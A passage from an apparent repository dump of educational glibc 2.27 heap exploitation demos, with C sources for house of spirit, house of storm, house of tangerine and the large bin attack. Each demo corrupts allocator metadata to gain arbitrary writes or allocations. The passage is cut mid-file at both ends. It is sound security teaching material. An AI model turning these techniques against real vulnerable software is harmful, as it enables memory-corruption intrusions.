arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x30;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x888) for fake arena\\n\");\n\tfake_arena[0x888] = 0xFF;\n\tfake_arena[0x889] = 0xFF; \n\tfake_arena[0x88a] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\tprintf(\"Fill up the TCache so that the fastbin will be used\\n\");\n\t// Fill the tcache to make the fastbin to be used later. \n\tuint64_t* tcache_chunks[7];\n\tfor(int i = 0; i < 7; i++){\n\t\ttcache_chunks[i] = malloc(0x50);\n\t}\t\n\tfor(int i = 0; i < 7; i++){\n\t\tfree(tcache_chunks[i]);\n\t}\n\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.27, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x30 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.27/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demonstrates the house of spirit attack.\");\n\tputs(\"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.\");\n\tputs(\"Required primitives: known target address, ability to set up the start/end of the target memory\");\n\n\tputs(\"\\nStep 1: Allocate 7 chunks and free them to fill up tcache\");\n\tvoid *chunks[7];\n\tfor(int i=0; i<7; i++) {\n\t\tchunks[i] = malloc(0x30);\n\t}\n\tfor(int i=0; i<7; i++) {\n\t\tfree(chunks[i]);\n\t}\n\n\tputs(\"\\nStep 2: Prepare the fake chunk\");\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tlong fake_chunks[10] __attribute__ ((aligned (0x10)));\n\tprintf(\"The target fake chunk is at %p\\n\", fake_chunks);\n\tprintf(\"It contains two chunks. The first starts at %p and the second at %p.\\n\", &fake_chunks[1], &fake_chunks[9]);\n\tprintf(\"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tputs(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.\");\n\tprintf(\"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\\n\", &fake_chunks[1]);\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tprintf(\"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n\tprintf(\"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\\n\", &fake_chunks[9]);\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tputs(\"\\nStep 3: Free the first fake chunk\");\n\tputs(\"Note that the address of the fake chunk must be 16-byte aligned.\\n\");\n\tvoid *victim = &fake_chunks[2];\n\tfree(victim);\n\n\tputs(\"\\nStep 4: Take out the fake chunk\");\n\tprintf(\"Now the next calloc will return our fake chunk at %p!\\n\", &fake_chunks[2]);\n\tprintf(\"malloc can do the trick as well, you just need to do it for 8 times.\");\n\tvoid *allocated = calloc(1, 0x30);\n\tprintf(\"malloc(0x30): %p, fake chunk: %p\\n\", allocated, victim);\n\n\tassert(allocated == victim);\n}\n"
  },
  {
    "path": "glibc_2.27/house_of_storm.c",
    "content": "/*\n\nPOC for House of Storm on 2.26\n\nFor 2.26-2.28, the tcache will need to \nbe full for this to work. After this, \na patch to the unsorted bin attack prevents this \ntechnique from working.\n\nThis technique uses a combination of editing\nan unsorted bin chunk and a large bin chunk\nto write a 'size' to a user choosen address in memory,\nwhich will get pulled out from the unsorted bin.\n\nOnce this has occurred, if the size at this 'fake' \nlocation is the same size as the allocation, \nthen the chunk will be returned back to the user. \n\nThis attack allows arbitrary chunks to be returned\nto the user! This requires the following: \n- Write on free unsorted bin chunk\n- Write on free large bin chunk\n- Known address of target memory address\n- Known address of upper bits of heap chunk\n\nWritten by Maxwell \"Strikeout\" Dulin\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nchar filler[0x60];\nchar target[0x60]; \n\nvoid init(){\n        setvbuf(stdout, NULL, _IONBF, 0);\n        setvbuf(stdin, NULL, _IONBF, 0);\n        // clearenv();\n}\n\n// Get the AMOUNT to shift over for size and the offset on the largebin.\n// Needs to be a valid minimum sized chunk in order to work.\nint get_shift_amount(char* pointer){\n\t\n\tint shift_amount = 0;\n\tlong long ptr = (long long)pointer;\t\n\t\n\twhile(ptr > 0x20){\n\t\tptr = ptr >> 8; \n\t\tshift_amount += 1; \n\t}\t\n\n\treturn shift_amount - 1; // Want amount PRIOR to this being zeroed out\n}\n\nint main(){\n\n\tinit();\n\n        char *unsorted_bin, *large_bin, *fake_chunk, *ptr;\n\tint* tcaches[7];\n\n\tputs(\"House of Storm\"); \n\tputs(\"======================================\"); \n\tputs(\"Preparing chunks for the exploit\");\n\tputs(\"Put one chunk into unsorted bin and the other into the large bin\");\n\tputs(\"The unsorted bin chunk MUST be larger than the large bin chunk.\");\n\t/*\n\tPutting a chunk into the unsorted bin and another\n\tinto the large bin.\n\t*/\n\tunsorted_bin = malloc ( 0x4e8 );  // size 0x4f0 \n\n\t// prevent merging \n\tmalloc ( 0x18 ); \n\n\tputs(\"Find the proper chunk size to allocate.\");\n\tputs(\"Must be exactly the size of the written chunk from above.\");\n\t/* \n\tFind the proper size to allocate\n\tWe are using the first 'X' bytes of the heap to act \n\tas the 'size' of a chunk. Then, we need to allocate a \n\tchunk exactly this size for the attack to work. \n\n\tSo, in order to do this, we have to take the higher\n\tbits of the heap address and allocate a chunk of this\n\tsize, which comes from the upper bytes of the heap address.\n\n\tNOTE: \n\t- This does have a 1/2 chance of failing on the 4th bit. If the 4th bit \n\tof this value is set, then the size comparison will fail everytime.\n\t- There is ANOTHER 1/4 chance of this failing (for the demo). Either\n\t  the mmap bit needs to be set or the non-main arena cannot be set.\n\t- Without these calculations, this COULD be brute forced with relative\n\t  overwrites in a leakless fashion.\n\t*/\n\n\tint shift_amount = get_shift_amount(unsorted_bin);\t\n\tprintf(\"Shift Amount: %d\\n\", shift_amount); \n\n\tsize_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);\n\tif(alloc_size < 0x10){\n\t\tprintf(\"Chunk Size: 0x%lx\\n\", alloc_size);\n\t\tputs(\"Chunk size is too small\");\n\t\texit(1);\n\t}\n\talloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits\n\tprintf(\"In this case, the chunk size is 0x%lx\\n\", alloc_size);\n\n        // Checks to see if the program will crash or not\n\t/*\n\tThe fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first. \n\n\tAdditionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438\n\tvalidates to see if ONE of the following cases is true: \n\t- av == arena_for_chunk (mem2chunk (mem))\n\t- chunk is mmaped\n\n\tIf the 'non-main arena' bit is set on the chunk, then the \n\tfirst case will fail. \n\tIf the mmap bit is set, then this will pass. \n\t\n\tSo, either the arenas need to match up (our fake chunk is in the \n\t.bss section for this demo. So, clearly, this will not happen) OR\n\tthe mmap bit must be set.\n\n\tThe logic below validates that the fourth bit of the size\n\tis NOT set and that either the mmap bit is set or the non-main \n\tarena bit is NOT set. If this is the case, the exploit should work.\n\t*/\n        if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){\n                puts(\"Allocation size has bit 4 of the size set or \");\n\t\tputs(\"mmap and non-main arena bit check will fail\");\n                puts(\"Please try again! :)\");\n                puts(\"Exiting...\");\n                return 1;\n        }\n\n\t// If the chunk would go into the TCache, we need to fill up\n\t// the TCache in order to prevent TCache stashing from happening.\n\tif(alloc_size < 0x410){\n\t\tputs(\"Fill TCache of the allocation size amount if the size of the target chunk is a TCache size chunk (0x20-0x410)\");\n\t\tputs(\"Done to prevent usage of TCache stashing\");\n\n\n\t\t// Fill up the TCache for the proper size\n\t\tfor(int i = 0; i < 7; i++){\n\t\t\ttcaches[i] = malloc(alloc_size);\n\t\t}\n\t\tfor(int i = 0; i < 7; i++){\n\t\t\tfree(tcaches[i]);\n\t\t}\n\t}\n\telse{\n\t\tputs(\"Not filling up the TCache\");\n\t}\n\n\tlarge_bin  =  malloc ( 0x4d8 );  // size 0x4e0 \n\t// prevent merging \n\tmalloc ( 0x18 );\n\n\t// FIFO \n\tfree ( large_bin );  // put small chunks first \n\tfree ( unsorted_bin );\n\n\t// Put the 'large bin' chunk into the large bin\n\tunsorted_bin = malloc(0x4e8);\n\tfree(unsorted_bin);\n\n\t/*\n\tAt this point, there is a single chunk in the \n\tlarge bin and a single chunk in the unsorted bin. \n\tIt should be noted that the unsorted bin chunk \n\tshould be LARGER in size than the large bin chunk\n\tbut should still be within the same bin.\n\n\tIn this setup, the large_bin has a chunk\n\tof size 0x4e0 and the unsorted bin \n\thas a chunk of size 0x4f0. This technique relies on\n\tthe unsorted bin chunk being added to the same bin\n\tbut a larger chunk size. So, careful heap feng shui \n\tmust be done.\n\t*/\n\n\t// The address that we want to write to!\n\tfake_chunk = target - 0x10;\n\n\tputs(\"Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\\n This is our target location to get from the allocator\"); \n\t\n\t/*\n\tThe address of our fake chunk is set to the unsorted bin \n\tchunks 'bk' pointer. \n\n\tThis launches the 'unsorted_bin' attack but it is NOT the\n\tmain purpose of us doing this.\n\n\tAfter launching the 'unsorted_bin attack' the 'victim' pointer\n\twill be set to THIS address. Our goal is to find a way to get\n\tthis address from the allocator.\n\n\tVulnerability!!\n\t*/\n\t((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk\n\n\t// Only needs to be a valid address. \n\t(( size_t *) large_bin )[1]  =  (size_t)fake_chunk  +  8 ;  // large_bin->fd\n\n\tputs(\"Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location\");\n\tputs(\"of your fake chunk.\"); \n\tputs(\"Misalign the location in order to use the primitive as a SIZE value.\"); \n\tputs(\"The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).\");\n\tputs(\"Vulnerability #2!\");\n\tputs(\"Overwrite large bins bk->nextsize with the address to put our fake chunk size at.\");\n\t/* \n\tThis can be seen as a WRITE-WHERE primitive in the large bin.\n\tHowever, we are going to write a 'size' for our fake chunk using this. \n\n\tSo, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579\n\tto an address for our fake size. The write above (bk_nextsize) is\n\tcontrolled via the pointer we are going to overwrite below. The\n\tvalue that gets written is a heap address; the unsorted bin \n\tchunk address above. \n\n\tThe 'key' to this is the offset. First, we subtract 0x18 because\n\tthis is the offset to writting to fd_nextsize in the code shown \n\tabove. Secondly, notice the -2 below. We are going\n\tto write a 'heap address' at a mis-aligned location and\n\tuse THIS as the size. For instance, if the heap address is 0x123456\n\tand the pointer is set to 0x60006. This will write the following way:\n\t- 0x60006: 0x56\n\t- 0x60007: 0x34\n\t- 0x60008: 0x12\n\n\tNow, our 'fake size' is at 0x60008 and is a valid size for the \n\tfake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk\n\tfrom the allocator. \n\n\tSecond vulnerability!!!\n\n\t// The shift amount is used in order to calculate the proper offset\n\tto write the chunk size at, depending on the size of the pointer.\n\tThis depends on the size of the pointer. \n\t*/\n\t(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize\n\n\t/*\n\tAt this point, we've corrupted everything in just the right \n\tway so this should work. \n\n\tThe purpose of the attack is to have a corrupted 'bk' pointer\n\tpoint to ANYWHERE we want and still get the memory back. We do\n\tthis by using the large bin code to write a size to the 'bk' \n\tlocation.\n\n\tThis call to calloc, will return a pointer\n\tto the fake chunk that we created above. \n\t*/\n\n\tputs(\"Make allocation of the size that the value will be written for.\");\n\tputs(\"Once the allocation happens, the madness begins\"); \n\tputs(\"Once in the unsorted bin, the 'large bin' chunk will be used in orer to \"); \n\tputs(\"write a fake 'size' value to the location of our target.\"); \n\tputs(\"After this, the target will have a valid size.\"); \n\tputs(\"Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid\"); \n\tputs(\"size and remove it from the bin.\");\n\tputs(\"With this, we have pulled out an arbitrary chunk!\");\n\n\tprintf(\"String before: %s\\n\", target);\n\tprintf(\"String pointer: %p\\n\", target);\n\n\tputs(\"Make a call to 'calloc' instead of 'malloc' in order to \");\n\tputs(\"not use the TCache on the allocation. Had to fill TCache\");\t\n\tputs(\"because stashing would prevent the exploit from working\");\n\n\t// Arena_for_chunk macro may cause this to crash as well\n\t// https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438\n\tptr = calloc(alloc_size, 1);\n\tstrncpy(ptr, \"\\x41\\x42\\x43\\x44\\x45\\x46\\x47\", 0x58 - 1);\n\t\n\tprintf(\"String after %s\\n\", target);\n\tprintf(\"Fake chunk ptr: %p\\n\", ptr);\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.27/house_of_tangerine.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10L\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// size used for poisoned tcache\n#define CHUNK_SIZE_1 0x40\n#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)\n\n// could also be split into multiple lower size allocations\n#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)\n#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)\n\n/**\n * Tested on GLIBC 2.27 (x86_64, x86 & aarch64) & 2.31 (x86_64, x86 & aarch64)\n *\n * House of Tangerine is the modernized version of House of Orange\n * and is able to corrupt heap without needing to call free() directly\n *\n * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer\n * by abusing the tcache freelist. (requires heap leak on and after 2.32)\n *\n * this version expects a positive and negative OOB (e.g. BOF)\n * or a positive OOB in editing a previous chunk\n *\n * This version requires 5 (6*) malloc calls and 3 OOB\n *\n *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,\n *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead\n *\n * Special Thanks to pepsipu for creating the challenge \"High Frequency Trading\"\n * from Pico CTF 2024 that inspired this exploitation technique\n */\nint main() {\n  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;\n  char win[0x10] = \"WIN\\0WIN\\0WIN\\0\\x06\\xfe\\x1b\\xe2\";\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);\n  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);\n\n  puts(\"Constants:\");\n  printf(\"chunk header = 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align = 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align = 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size = 0x%lx\\n\", FENCEPOST);\n  printf(\"size_1 = 0x%lx\\n\", SIZE_1);\n\n  printf(\"target tcache top size = 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);\n\n  // target is malloc aligned 0x10\n  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  heap_ptr = malloc(PROBE);\n  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // calculate size_2\n\n  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;\n  size_2 &= PAGE_MASK;\n  size_2 &= MALLOC_MASK;\n\n\n  printf(\"size_2 = 0x%lx\\n\", size_2);\n\n  // first allocation \n  heap_ptr = malloc(size_2);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"new first top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  /*\n   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.\n   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged\n   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n   * we prevent the top_chunk from being merged by lowering its size\n   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged\n   */\n\n  printf(\"size_3 = 0x%lx\\n\", SIZE_3);\n  heap_ptr = malloc(SIZE_3);\n\n  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];\n  printf(\"current top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  new_top_size = top_size & PAGE_MASK;\n  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;\n  printf(\"new top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  printf(\"freed top_chunk size = 0x%lx\\n\", freed_top_size);\n\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  // this will be our vuln_tcache for tcache poisoning\n  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];\n\n  printf(\"tcache next ptr: 0x%lx\\n\", vuln_tcache);\n\n  // free the previous top_chunk\n  heap_ptr = malloc(SIZE_3);\n\n  // corrupt next ptr into pointing to target\n  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target;\n\n  // allocate first tcache (corrupt next tcache bin)\n  heap_ptr = malloc(SIZE_1);\n\n  // get arbitrary ptr for reads or writes\n  heap_ptr = malloc(SIZE_1);\n\n  // proof that heap_ptr now points to the same string as target\n  assert((size_t) heap_ptr == target);\n  puts((char *) heap_ptr);\n}\n"
  },
  {
    "path": "glibc_2.27/large_bin_attack.c",
    "content": "/*\n\n    This technique is taken from\n    https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/\n\n    [...]\n\n              else\n              {\n                  victim->fd_nextsize = fwd;\n                  victim->bk_nextsize = fwd->bk_nextsize;\n                  fwd->bk_nextsize = victim;\n                  victim->bk_nextsize->fd_nextsize = victim;\n              }\n              bck = fwd->bk;\n\n    [...]\n\n    mark_bin (av, victim_index);\n    victim->bk = bck;\n    victim->fd = fwd;\n    fwd->bk = victim;\n    bck->fd = victim;\n\n    For more details on how large-bins are handled and sorted by ptmalloc,\n    please check the Background section in the aforementioned link.\n\n    [...]\n\n */\n\n#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n \nint main()\n{\n    setbuf(stdout, NULL);\n\n    printf(\"This file demonstrates large bin attack by writing a large unsigned long value into stack\\n\");\n    printf(\"In practice, large bin attack is generally prepared for further attacks, such as rewriting the \"\n           \"global variable global_max_fast in libc for further fastbin attack\\n\\n\");\n\n    unsigned long stack_var1 = 0;\n    unsigned long stack_var2 = 0;\n\n    printf(\"Let's first look at the targets we want to rewrite on stack:\\n\");\n    printf(\"stack_var1 (%p): %ld\\n\", &stack_var1, stack_var1);\n    printf(\"stack_var2 (%p): %ld\\n\\n\", &stack_var2, stack_var2);\n\n    unsigned long *p1 = malloc(0x420);\n    printf(\"Now, we allocate the first large chunk on the heap at: %p\\n\", p1 - 2);\n\n    printf(\"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with\"\n           \" the first large chunk during the free()\\n\\n\");\n    malloc(0x20);\n\n    unsigned long *p2 = malloc(0x500);\n    printf(\"Then, we allocate the second large chunk on the heap at: %p\\n\", p2 - 2);\n\n    printf(\"And allocate another fastbin chunk in order to avoid consolidating the next large chunk with\"\n           \" the second large chunk during the free()\\n\\n\");\n    malloc(0x20);\n\n    unsigned long *p3 = malloc(0x500);\n    printf(\"Finally, we allocate the third large chunk on the heap at: %p\\n\", p3 - 2);\n \n    printf(\"And allocate another fastbin chunk in order to avoid consolidating the top chunk with\"\n           \" the third large chunk during the free()\\n\\n\");\n    malloc(0x20);\n \n    free(p1);\n    free(p2);\n    printf(\"We free the first and second large chunks now and they will be inserted in the unsorted bin:\"\n           \" [ %p <--> %p ]\\n\\n\", (void *)(p2 - 2), (void *)(p2[0]));\n\n    malloc(0x90);\n    printf(\"Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the\"\n            \" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation\"\n            \", and reinsert the remaining of the freed first large chunk into the unsorted bin:\"\n            \" [ %p ]\\n\\n\", (void *)((char *)p1 + 0x90));\n\n    free(p3);\n    printf(\"Now, we free the third large chunk and it will be inserted in the unsorted bin:\"\n           \" [ %p <--> %p ]\\n\\n\", (void *)(p3 - 2), (void *)(p3[0]));\n \n    //------------VULNERABILITY-----------\n\n    printf(\"Now emulating a vulnerability that can overwrite the freed second large chunk's \\\"size\\\"\"\n            \" as well as its \\\"bk\\\" and \\\"bk_nextsize\\\" pointers\\n\");\n    printf(\"Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk\"\n            \" at the head of the large bin freelist. To overwrite the stack variables, we set \\\"bk\\\" to 16 bytes before stack_var1 and\"\n            \" \\\"bk_nextsize\\\" to 32 bytes before stack_var2\\n\\n\");\n\n    p2[-1] = 0x3f1;\n    p2[0] = 0;\n    p2[2] = 0;\n    p2[1] = (unsigned long)(&stack_var1 - 2);\n    p2[3] = (unsigned long)(&stack_var2 - 4);\n\n    //------------------------------------\n\n    malloc(0x90);\n \n    printf(\"Let's malloc again, so the freed third large chunk being inserted into the large bin freelist.\"\n            \" During this time, targets should have already been rewritten:\\n\");\n\n    printf(\"stack_var1 (%p): %p\\n\", &stack_var1, (void *)stack_var1);\n    printf(\"stack_var2 (%p): %p\\n\", &stack_var2, (void *)stack_var2);\n\n    // sanity check\n    assert(stack_var1 != 0);\n    assert(stack_var2 != 0);\n\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.27/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on 